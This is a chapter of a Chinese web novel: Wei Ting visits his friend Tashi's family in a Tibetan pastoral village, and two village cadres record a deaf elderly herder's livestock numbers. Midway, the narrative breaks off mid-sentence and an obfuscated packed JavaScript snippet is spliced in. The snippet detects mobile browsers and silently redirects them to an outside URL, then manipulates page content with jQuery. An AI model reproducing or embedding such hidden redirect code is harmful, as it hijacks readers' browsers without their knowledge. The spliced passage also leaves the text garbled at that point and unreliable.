魏亭在县城海悦酒店又蜷缩了两天，第三天总算是恢复了力气，床头柜上手机在响，黑暗中一只手精准摸到了响铃的位置。
“喂。”鼻音浓重，夹杂两分被吵醒的不爽。
“亭哥，你还活着不？”地道的藏式普通话，说话的人是个年轻小伙。
“......”
“死了。”记得烧香，室内密不透光，他浑身酸软地躺在酒店床上，分不清外面究竟是白天还是黑夜。
“那谁在和我说话？”
魏亭裹紧被子，烦躁地咕蛹两下，藏在被子里恶声恶气，“是鬼！是鬼在和你说话！扎西次仁，你最好真的有事！”
他一脚踢开被子，削瘦而修长的手盖住自己的脸，对着虚空出神。
“亭哥，别生气呀。阿爸和阿妈知道你要来，高兴坏了。他们准备了很多好吃的，就等你来了。”
欻！
窗帘被拉开，光线刺眼，魏亭伸出手挡了一下光，“把你家定位发我。”
四月下旬，积雪深深。
从县城开出去，车驶出最后的硬化路面，开始变得颠簸，五彩经幡在视野里簌簌作响，垭口积雪未化，活像天神随手丢下的银锭。
草甸还是黄的，看起来蓬松柔软，其间点缀着大小不一的墨点，是当地牧民家的牦牛，偶尔有鹰贴着山脊线飞过，凝成一个不动却又瞬息万里的黑影。
路上同行的车很少，不时有朝圣的人很快在反光镜中缩成黑点。
灰褐短打的中年男人，脸是高原孕育的深褐，双手系着绑带，掌心握住两块石头，双手合十举过头顶，走三步，跪地滑行，俯身五体投地。起身再合十，用身体丈量大地，周而复始，缓慢而坚定。
额头磨损后结的茄痕又翻出皮肉，膝盖上破了两个大洞，他的身旁跟着个穿粉袄的小女孩，脸蛋冻得发红，鼻子下挂着串冰坠，看模样应当是他的女儿。
要不要给人些干净的水和衣物，魏亭正想着——
嘀——嘀！喇叭刺耳，瞬间拉回他的注意，侧前方从公路护栏外冲出一只白头黑屁股的羊，他及时调整方向，险险避过。
“呼！”刚吐出一口心惊的浊气，白色皮卡自左侧一闪而过，带起空气中的沙尘。
“姐，那人不会是在打瞌睡吧？”眼瞅着车越开越歪，多亏孙瑶提醒她鸣笛，才让前方车主避过，车酷得很，可惜没遇上她这样爱惜的人，差点返厂重修了。
还得是她姐，眼神贼亮，这都能发现有羊钻进来了。
嘟囔几句，张红又看向副驾的人：“姐，今天我们的工作是不是很轻松？”作为驻村干部，她这一年可是对基层工作繁重有了深刻体会，说句不好听的小马拉大车。
天天喊基层减负减负，减负的第一件事就是开个会，让她们写减负报告，玩儿呢。今天入户开展防火宣传，明天搞家庭收入测算，后天查道路安全隐患，大后天满山跑帮牧民找马。
她——张红，花之少女，要燃尽了。回家睡不着，矫情！失眠多梦，浮云！那都是不够累！
“将春季畜牧管理资料收上来就好了。雪很快就要化了，咱俩得加快速度了。”孙瑶明白张红的担忧，语气轻松道：“那户人家儿子也在，好沟通的。”
这颗定心丸张红爱吃，想她俩上次磨破了嘴皮，那老婆婆风雨不动的，不能想，一想脑仁就隐隐作痛。
去往毛日村的路有一段极不平整，有那么几个瞬间，魏亭一度觉得自己要从车内飞出去，他死死握住方向盘，手背青筋暴起。
这是路？珠峰也没这么难走吧。
午后刚下了点小雨，六分砂石四分泥，混合后路面湿滑泥泞。他都不用探头去看，车身必定糊的一塌糊涂。又往前走了半小时，终于看到个村子。
进村路面平整，扎西次仁早等在了村口。安多小伙个儿高挺拔，左耳上坠着块绿松石，灰色大袄裹住上半身，脖子上戴着个金质圆形小盒，发型是精心打理过的小卷。
“亭哥，好久不见。”扎西见魏亭将车停稳，立马小跑过来，张开双臂想要拥抱，一脸怀念：“我还以为毕业后再没机会见面了。”
魏亭病刚好，哪经得起他这个吨位的冲击，伸手挡住他：“别晃，我要吐了。”
扎西飞快地瞥了一眼魏亭的脸，见他的确还有些苍白，一时也不敢瞎胡闹了，老老实实地去卸东西。
后备箱整齐码放着27斤云南普洱砖茶，魏亭不太清楚这儿的礼节，找超市老板问了问，说他们不兴好事成双，更喜欢寓意吉祥的单数，送砖茶通常不会出错，实用又体面。
“土吉且。”汉藏语言系统切换异常，扎西表达感谢的话脱口而出。魏亭眉峰压低，眉间浮起困惑：“说点我能听懂的。”
扎西这调调，让他不知怎的又想起那晚的女人，谈话交流自有一套语言系统，衬得他像个听不懂话的文盲。
“哥，我的意思是太感谢了。人来了就好，还带这么多东西。”
魏亭关好后备箱，抬脚踹上扎西的屁股，“笑笑笑，牙花子都露出来了。不喜欢？不喜欢我可又带回去了。”扎西左右提着两个红色编织袋，脑袋摇地飞快。
魏亭紧跟其后，余光突然注意到一户人家门口前停放的皮卡。白色车身和他的车子一个待遇，糊地不成样子。眼熟，于是发问：“谁的车？”
扎西顺着他手指的方向望去，情绪陡然低落，“梅朵的。”魏亭听罢，轻挑下眉，刻意放缓脚步，就等着扎西的下文。
......
刚刚还欢呼雀跃的人此刻嘴巴抿地死紧，一点口风也不肯漏。有情况。
魏亭胳膊肘捅捅扎西，挤眉弄眼道：“给哥说说，梅朵是谁？”一听就是个女孩名，还在这儿跟他藏着掖着呢。
扎西人长得高大，却很寡言，大学短暂的相处让魏亭算是摸清了点他的脾性，说好听点人踏实，难听点就是死心眼。不过大哥不说二哥，谁让自己也认死理。
威逼利诱下，扎西翻来覆去只有一句话：“梅朵就是梅朵。”他似乎怕魏亭再次追问，低着脑袋匆匆往回赶，连路上碰到骑摩托和他打招呼的索南都没理会。
扎西孤身在成都上学，只有魏亭拿他当亲人对待。他早就向玛哈嘎拉（大黑天）许下心愿，他的一切都可以与魏亭分享。但是梅朵不能。
“你喜欢人家？”心事被说中，扎西脚步乱了节奏，左脚险些绊到右脚，还好魏亭及时拉住他的衣角，“至于吗？哥又不会跟你抢，瞧你那小气吧啦样，没出息。”
魏亭率先表明立场，扎西稳住心神，能夹死苍蝇的眉头终于放松。
“本来褶子就多，还爱皱眉，瞧着老了好几岁，你说哪个姑娘会喜欢？”实战经验为零的大哥不自觉摆起高人风范，开始为兄弟的人生大事出谋划策。
“送过花吗？”
扎西点点头，嘴角下拉，难掩沮丧，“她没收。”高人出招，败。
“漂亮衣服、名牌包包呐？”没有女人不喜欢这些吧。李倩只要生气，他爸一束花、一个爱马仕就搞定了，好像也没多大难度。
扎西家的情况他还是了解一些，虽然日子过得看着艰苦，却也算这地界的大户了，送条项链、买个包应该问题不大。
扎西顿住脚步，茶砖不断向下拉扯着他的手，冰封寒冷的心却陡然轻盈起来。原来亭哥也是张红口中令人绝望的直男，这些招数他早用过了。
他再次摇头。高人出招，再败。
沿着水泥路七拐八拐，扎西停在一所宽敞的民房前，“哥，咱们到了。”
房子石砌而成，午后日光懒洋洋洒在刷漆的大门上，白墙上棕红边玛草带依然灼目，檐角经幡被西风吹得沙沙作响，太阳能板在屋顶泛着幽蓝光泽。
扎西父母正等在门口，还没等魏亭进门，扎西父亲手捧白哈达迎上来，脸上满是真诚与慈爱的笑，“扎西德勒。”
忘了问扎西父母会不会普通话，魏亭只能学着扎西父亲的样子，双手合十回了句“扎西德勒。”
“阿妈，这就是亭哥。亭哥，这是我阿妈白玛德吉。”
“扎西德勒。”
“欢迎你，我的孩子。”白玛德吉的普通话说得很不错。
她身着一袭灰蓝长袍，边角镶着三指宽的朱红与金线。胸前佩戴的银制嘎乌盒、红珊瑚与蜜蜡珠串随着她的动作发出轻响。
锦缎腰带束出挺拔仪态，袖口微微卷起，露出内衬的云纹。头发盘成利落的恰玛髻，笑容从眼尾细纹里漾开。
幸福的生活令她看起来比实际年纪要小很多。
魏亭出席过无数宴会，往来觥筹交错，其间不乏打扮富贵华丽的人，但和扎西母亲相比，不够看。
扎西偷摸告诉他：“阿妈，体面人。”魏亭懂了，再次双手合十，“扎西德勒。”
——
“我的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251328|197956||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老天奶啊——”张红哀嚎，原以为下午很快能收工，可人算不如天算，还是出问题了。
达瓦泽家牛丢了，他山上找牛去了，屋内只剩下她、孙瑶、听障老人，人在无语的情况下真的会笑，那牛什么时候丢不好，偏偏她们上门就丢了。
“饿死我了。”还好屋内有火炉，否则她今天可真是要表演21世纪的饥寒交迫了。
“吃点这个。”孙瑶跟变戏法似的从包里掏出袋面包，右手在包里左摸右掏，又拿出掉漆的粉红保温杯，“就水吃，面包是昨天带的，有点硬了。”
“姐，你哆啦A梦碌曲分梦？”
孙瑶抬手给她一个脑瓜崩，“说了多少次，出门随手带吃的。你就不长记性，该不该打？”
张红年纪轻胃却不好，一错过饭点胃就要造反，她可不想再背着百十来斤的人深夜求爷爷告奶奶的找医生了。
偏张红又忘性大，她只能多上点心了，人生在世，不知不觉活成老妈子。
灯泡发出强光，孙瑶头顶蒙上了一层浅浅的光晕。“还不是以为今天很快能搞定。”张红说话轻快俏皮，脸上露出个讨喜的笑，“这不预估出错了。”
“姐——你真好。没有你，我可咋办啊。”张红抱住孙瑶的手臂，撒娇般轻轻摇晃，语气黏糊。
人与人之间的羁绊真是妙不可言，当初她满怀愤怒、不甘离开云南来到这里，没想到能碰上真正的家人。
“阿妈笑我俩了。”孙瑶将手抽出来，从包里掏出笔记本想要再试试。牛丢了，山又大，找上一整天也是可能的，等不了达瓦泽了。
卓玛木措今年六十，银色发辫拢在宽大而厚实的灰白氆氇袍后，领口下是洗得发白的玫红棉布衫。
日头西斜，室内亮堂起来。她盘坐于卡垫上左手轻捻佛珠，右手经筒被手掌摩擦得发亮，随着手腕沉稳的转动，与空气中的浮尘不断碰撞，唇间低诵六字真言，温和双眼正平静地望着孙瑶。
藏式火炉上，铝制水壶扑棱扑棱冒着水汽。
“阿妮，今年春季防疫信息表要开始填咯。您家牛有多少头啊？”卓玛木措静静地听着，梅朵她认识，她去县城多吉仁青那儿买药的时候，她总跟在他阿爸身后，像条小尾巴。
十多个春秋过去了，她老了，小梅朵也长大了。
达瓦泽说她现在为村里办事，工作非常出色，大家伙有问题都可以找她。出门找牛前他嘱咐她要好好配合小梅朵的工作。
可她大半辈子开口的次数，两只手加上两只脚都能数清，在家她和达瓦泽都是用手语对话的，“100——”嘴角的肌肉因强行牵动不自然地颤抖，她竭力从嘴里挤出的数字，发出的声音却怪异难听。
孙瑶探过身子，目不转睛地盯着卓玛木措，试图理解她吐出的数字。
可惜长年累月的无声日常，将她最后残存的一点语言功能也夺去，她没听明白。幸运的是她发现只要放慢语速，阿妮能通过口型读取话中的内容，这让她找到些方向。
“姐，我有个想法，能不能让老太太直接填表？”
“好想法，下次不要再想了。”孙瑶掏出笔在纸上写下阿拉伯数字，趴在桌子上没抬头，“阿妮不识字的。”
在牧区，会说汉语习得汉字的基本上是年轻人和小孩子，年纪过了五十会说汉语写字的人很少。
张红一屁股跌回去，摆摆手颓然道：“当我没说。”
天色渐晚，偶尔传来一两声犬吠。炉子里的牛粪火熄了，壶底剩下的一点酥油茶慢慢凝固。风吹过，门帘缝隙里泄出一线灯光。
“好啦。”张红弹弹手中的信息表，简直不能再佩服，双向沟通障碍的两个人愣是连画带猜的把事情办成了。
外面又落雪了，这个季节的天气就这样，阴一阵晴一阵的，没个定性，“好冷啊，姐。”围坐在炉边还不觉得，出了门冻死个人嘞。
孙瑶将围巾重新系好，不紧不慢地收拾东西，“现在回去食堂也没饭了，我家去不去？”
“就等你这句话呢。冷得要死，快走快走。”张红拉住孙瑶的手，在雪地里小跑起来，“姐，我想吃人参果拌酸奶。”
“可以。”
“上次仁青大叔拿的牦牛干好好吃，还有吗？”
“回去给你拿。”
姐妹俩手挽着手，高高兴兴地往前走，刚拐过弯，张红就听到了讨厌鬼的声音。
“梅朵！”